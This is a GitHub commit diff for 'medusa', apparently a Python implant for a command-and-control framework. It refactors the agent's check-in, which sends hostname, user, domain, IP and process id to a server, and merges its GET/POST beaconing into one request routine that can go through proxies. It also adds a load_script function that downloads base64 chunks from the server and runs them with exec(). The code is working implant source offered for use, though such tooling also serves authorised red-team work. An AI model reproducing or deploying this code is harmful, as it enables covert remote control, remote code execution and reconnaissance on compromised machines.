Skip to content

Commit

Permalink
refactored agent, added access check to watch_dir, added load_script …
Browse files Browse the repository at this point in the history
…function, updated docs for everything
  • Loading branch information
ajpc500 committed Aug 16, 2021
1 parent f16eab9 commit 4309cbe
Show file tree
Hide file tree
Showing 14 changed files with 210 additions and 162 deletions.
98 changes: 22 additions & 76 deletions Payload_Type/medusa/agent_code/base_agent/base_agent.py2
Expand Up @@ -11,40 +11,23 @@ CRYPTO_HERE
if platform.mac_ver()[0]: return "macOS "+platform.mac_ver()[0]
else: return platform.system() + " " + platform.release()

def getHostname(self):
return socket.gethostname()

def getUsername(self):
try: return os.getlogin()
except: pass
if "USER" in os.environ.keys(): return os.environ["USER"]
elif "LOGNAME" in os.environ.keys(): return os.environ["LOGNAME"]

def getDomain(self):
return socket.getfqdn()

def getArch(self):
is_64bits = sys.maxsize > 2**32
if is_64bits: return "x64"
else: return "x86"

def getLocalIp(self):
return socket.gethostbyname(socket.gethostname())

def getPid(self):
return os.getpid()

def formatMessage(self, data):
return base64.b64encode(self.agent_config["UUID"].encode() + self.encrypt(json.dumps(data).encode()))

def formatResponse(self, data):
return json.loads(data.replace(self.agent_config["UUID"],""))

def postMessageAndRetrieveResponse(self, data):
return self.formatResponse(self.decrypt(self.postRequest(self.formatMessage(data))))
return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data),'POST')))

def getMessageAndRetrieveResponse(self, data):
return self.formatResponse(self.decrypt(self.getRequest(self.formatMessage(data))))
return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data))))

def sendTaskOutputUpdate(self, task_id, output):
responses = [{ "task_id": task_id, "user_output": output, "completed": False }]
Expand All @@ -71,9 +54,7 @@ CRYPTO_HERE
if resp["task_id"] == t["task_id"] \
and resp["status"] == "success"][0]
self.taskings.pop(self.taskings.index(task_index))
except:
pass

except: pass

def processTask(self, task):
try:
Expand Down Expand Up @@ -127,67 +108,35 @@ CRYPTO_HERE
def checkIn(self):
data = {
"action": "checkin",
"ip": self.getLocalIp(),
"ip": socket.gethostbyname(socket.gethostname()),
"os": self.getOSVersion(),
"user": self.getUsername(),
"host": self.getHostname(),
"domain:": self.getDomain(),
"pid": self.getPid(),
"host": socket.gethostname(),
"domain:": socket.getfqdn(),
"pid": os.getpid(),
"uuid": self.agent_config["PayloadUUID"],
"architecture": self.getArch(),
"architecture": "x64" if sys.maxsize > 2**32 else "x86",
"encryption_key": self.agent_config["enc_key"]["enc_key"],
"decryption_key": self.agent_config["enc_key"]["dec_key"]
}
encoded_data = base64.b64encode(self.agent_config["PayloadUUID"].encode() + self.encrypt(json.dumps(data).encode()))
decoded_data = self.decrypt(self.postRequest(encoded_data))
decoded_data = self.decrypt(self.makeRequest(encoded_data, 'POST'))
if("status" in decoded_data):
UUID = json.loads(decoded_data.replace(self.agent_config["PayloadUUID"],""))["id"]
self.agent_config["UUID"] = UUID
return True
else:
return False
else: return False

def getRequest(self, data):
def makeRequest(self, data, method='GET'):
hdrs = {}
for header in self.agent_config["Headers"]:
hdrs[header["name"]] = header["value"]
req = urllib2.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), None, hdrs)

gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
gcontext.verify_mode = ssl.CERT_NONE

if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http"
handler = urllib2.HTTPSHandler if tls else urllib2.HTTPHandler
if self.agent_config["ProxyUser"] and self.agent_config["ProxyPass"]:
proxy = urllib2.ProxyHandler({
"{}".format(tls): '{}://{}:{}@{}:{}'.format(tls, self.agent_config["ProxyUser"], self.agent_config["ProxyPass"], \
self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
auth = urllib2.HTTPBasicAuthHandler()
opener = urllib2.build_opener(proxy, auth, handler)
else:
proxy = urllib2.ProxyHandler({
"{}".format(tls): '{}://{}:{}'.format(tls, self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
opener = urllib2.build_opener(proxy, handler)

urllib2.install_opener(opener)

try:
return base64.b64decode(urllib2.urlopen(req).read()).decode()
except:
return ""

def postRequest(self, data):
hdrs = {}
for header in self.agent_config["Headers"]:
hdrs[header["name"]] = header["value"]
req = urllib2.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs)

gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
gcontext.verify_mode = ssl.CERT_NONE


if method == 'GET':
req = urllib2.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), None, hdrs)
else:
req = urllib2.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs)
#CERTSKIP
if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http"
handler = urllib2.HTTPSHandler if tls else urllib2.HTTPHandler
Expand All @@ -205,19 +154,16 @@ CRYPTO_HERE
opener = urllib2.build_opener(proxy, handler)
urllib2.install_opener(opener)
try:
return base64.b64decode(urllib2.urlopen(req).read())
except:
return ""
out = base64.b64decode(urllib2.urlopen(req).read())
return out.decode() if method == 'GET' else out
except: return ""

def passedKilldate(self):
kd_list = [ int(x) for x in self.agent_config["KillDate"].split("-")]
kd = datetime(kd_list[0], kd_list[1], kd_list[2])
now = datetime.now()

if now >= kd:
return True
else:
return False
if now >= kd: return True
else: return False

def agentSleep(self):
j = 0
Expand Down
90 changes: 18 additions & 72 deletions Payload_Type/medusa/agent_code/base_agent/base_agent.py3
Expand Up @@ -11,40 +11,23 @@ CRYPTO_HERE
if platform.mac_ver()[0]: return "macOS "+platform.mac_ver()[0]
else: return platform.system() + " " + platform.release()

def getHostname(self):
return socket.gethostname()

def getUsername(self):
try: return os.getlogin()
except: pass
if "USER" in os.environ.keys(): return os.environ["USER"]
elif "LOGNAME" in os.environ.keys(): return os.environ["LOGNAME"]

def getDomain(self):
return socket.getfqdn()

def getArch(self):
is_64bits = sys.maxsize > 2**32
if is_64bits: return "x64"
else: return "x86"

def getLocalIp(self):
return socket.gethostbyname(socket.gethostname())

def getPid(self):
return os.getpid()

def formatMessage(self, data):
return base64.b64encode(self.agent_config["UUID"].encode() + self.encrypt(json.dumps(data).encode()))

def formatResponse(self, data):
return json.loads(data.replace(self.agent_config["UUID"],""))

def postMessageAndRetrieveResponse(self, data):
return self.formatResponse(self.decrypt(self.postRequest(self.formatMessage(data))))
return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data),'POST')))

def getMessageAndRetrieveResponse(self, data):
return self.formatResponse(self.decrypt(self.getRequest(self.formatMessage(data))))
return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data))))

def sendTaskOutputUpdate(self, task_id, output):
responses = [{ "task_id": task_id, "user_output": output, "completed": False }]
Expand All @@ -71,8 +54,7 @@ CRYPTO_HERE
if resp["task_id"] == t["task_id"] \
and resp["status"] == "success"][0]
self.taskings.pop(self.taskings.index(task_index))
except:
pass
except: pass

def processTask(self, task):
try:
Expand Down Expand Up @@ -123,38 +105,37 @@ CRYPTO_HERE
if "socks" in tasking_data:
for packet in tasking_data["socks"]: self.socks_in.put(packet)


def checkIn(self):
data = {
"action": "checkin",
"ip": self.getLocalIp(),
"ip": socket.gethostbyname(socket.gethostname()),
"os": self.getOSVersion(),
"user": self.getUsername(),
"host": self.getHostname(),
"domain:": self.getDomain(),
"pid": self.getPid(),
"host": socket.gethostname(),
"domain:": socket.getfqdn(),
"pid": os.getpid(),
"uuid": self.agent_config["PayloadUUID"],
"architecture": self.getArch(),
"architecture": "x64" if sys.maxsize > 2**32 else "x86",
"encryption_key": self.agent_config["enc_key"]["enc_key"],
"decryption_key": self.agent_config["enc_key"]["dec_key"]
}
encoded_data = base64.b64encode(self.agent_config["PayloadUUID"].encode() + self.encrypt(json.dumps(data).encode()))
decoded_data = self.decrypt(self.postRequest(encoded_data))
decoded_data = self.decrypt(self.makeRequest(encoded_data, 'POST'))
if("status" in decoded_data):
UUID = json.loads(decoded_data.replace(self.agent_config["PayloadUUID"],""))["id"]
self.agent_config["UUID"] = UUID
return True
else: return False

def getRequest(self, data):
def makeRequest(self, data, method='GET'):
hdrs = {}
for header in self.agent_config["Headers"]:
hdrs[header["name"]] = header["value"]
req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), hdrs)

gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
gcontext.verify_mode = ssl.CERT_NONE

if method == 'GET':
req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), None, hdrs)
else:
req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs)
#CERTSKIP
if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http"
handler = urllib.request.HTTPSHandler if tls else urllib.request.HTTPHandler
Expand All @@ -170,47 +151,12 @@ CRYPTO_HERE
"{}".format(tls): '{}://{}:{}'.format(tls, self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
opener = urllib.request.build_opener(proxy, handler)

urllib.request.install_opener(opener)

try:
with urllib.request.urlopen(req) as response:
return base64.b64decode(response.read()).decode()
except:
return ""

def postRequest(self, data):
hdrs = {}
for header in self.agent_config["Headers"]:
hdrs[header["name"]] = header["value"]
req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs)

gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
gcontext.verify_mode = ssl.CERT_NONE

if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http"
handler = urllib.request.HTTPSHandler if tls else urllib.request.HTTPHandler
if self.agent_config["ProxyUser"] and self.agent_config["ProxyPass"]:
proxy = urllib.request.ProxyHandler({
"{}".format(tls): '{}://{}:{}@{}:{}'.format(tls, self.agent_config["ProxyUser"], self.agent_config["ProxyPass"], \
self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
auth = urllib.request.HTTPBasicAuthHandler()
opener = urllib.request.build_opener(proxy, auth, handler)
else:
proxy = urllib.request.ProxyHandler({
"{}".format(tls): '{}://{}:{}'.format(tls, self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
opener = urllib.request.build_opener(proxy, handler)

urllib.request.install_opener(opener)

try:
with urllib.request.urlopen(req) as response:
return base64.b64decode(response.read())
except:
return ""
out = base64.b64decode(response.read())
return out.decode() if method == 'GET' else out
except: return ""

def passedKilldate(self):
kd_list = [ int(x) for x in self.agent_config["KillDate"].split("-")]
Expand Down
8 changes: 4 additions & 4 deletions Payload_Type/medusa/agent_code/base_agent/crypto_lib.py2
Expand Up @@ -37,10 +37,10 @@ class medusa:
backend = default_backend()

key = base64.b64decode(self.agent_config["enc_key"]["dec_key"])
uuid = data[:36] # uuid prefix
iv = data[36:52] # trim uuid
ct = data[52:-32] # ciphertext been uuid+iv and hmac
received_hmac = data[-32:] #hmac
uuid = data[:36]
iv = data[36:52]
ct = data[52:-32]
received_hmac = data[-32:]

h = hmac.HMAC(key, hashes.SHA256(), backend)
h.update(iv + ct)
Expand Down
8 changes: 4 additions & 4 deletions Payload_Type/medusa/agent_code/base_agent/crypto_lib.py3
Expand Up @@ -37,10 +37,10 @@ class medusa:
backend = default_backend()

key = base64.b64decode(self.agent_config["enc_key"]["dec_key"])
uuid = data[:36] # uuid prefix
iv = data[36:52] # trim uuid
ct = data[52:-32] # ciphertext been uuid+iv and hmac
received_hmac = data[-32:] #hmac
uuid = data[:36]
iv = data[36:52]
ct = data[52:-32]
received_hmac = data[-32:]

h = hmac.HMAC(key, hashes.SHA256(), backend)
h.update(iv + ct)
Expand Down
18 changes: 18 additions & 0 deletions Payload_Type/medusa/agent_code/load_script.py
@@ -0,0 +1,18 @@
def load_script(self, task_id, file):
total_chunks = 1
chunk_num = 0
cmd_code = ""
while (chunk_num < total_chunks):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."
data = { "action": "post_response", "responses": [
{ "upload": { "chunk_size": CHUNK_SIZE, "file_id": file, "chunk_num": chunk_num }, "task_id": task_id }
]}
response = self.postMessageAndRetrieveResponse(data)
chunk = response["responses"][0]
chunk_num+=1
total_chunks = chunk["total_chunks"]
cmd_code += base64.b64decode(chunk["chunk_data"]).decode()

if cmd_code: exec(cmd_code)
else: return "Failed to load script"
2 changes: 1 addition & 1 deletion Payload_Type/medusa/agent_code/ls.py2
Expand Up @@ -6,7 +6,7 @@
target_is_file = os.path.isfile(file_path)
target_name = os.path.basename(file_path.rstrip(os.sep))
file_browser = {
"host": self.getHostname(),
"host": socket.gethostname(),
"is_file": target_is_file,
"permissions": {"octal": oct(file_details.st_mode)[-3:]},
"name": target_name if target_name != "." \
Expand Down
2 changes: 1 addition & 1 deletion Payload_Type/medusa/agent_code/ls.py3
Expand Up @@ -6,7 +6,7 @@
target_is_file = os.path.isfile(file_path)
target_name = os.path.basename(file_path.rstrip(os.sep))
file_browser = {
"host": self.getHostname(),
"host": socket.gethostname(),
"is_file": target_is_file,
"permissions": {"octal": oct(file_details.st_mode)[-3:]},
"name": target_name if target_name != "." \
Expand Down
2 changes: 2 additions & 0 deletions Payload_Type/medusa/agent_code/watch_dir.py
Expand Up @@ -55,6 +55,8 @@ def diffFolder(file_path, print_out=True):

if not os.path.isdir(file_path):
return "[!] Path must be a valid directory"
elif not os.access(file_path, os.R_OK):
return "[!] Path not accessible"
else:
self.sendTaskOutputUpdate(task_id, "[*] Starting directory watch for {}".format(path))
diffFolder(file_path, False)
Expand Down

0 comments on commit 4309cbe

Please sign in to comment.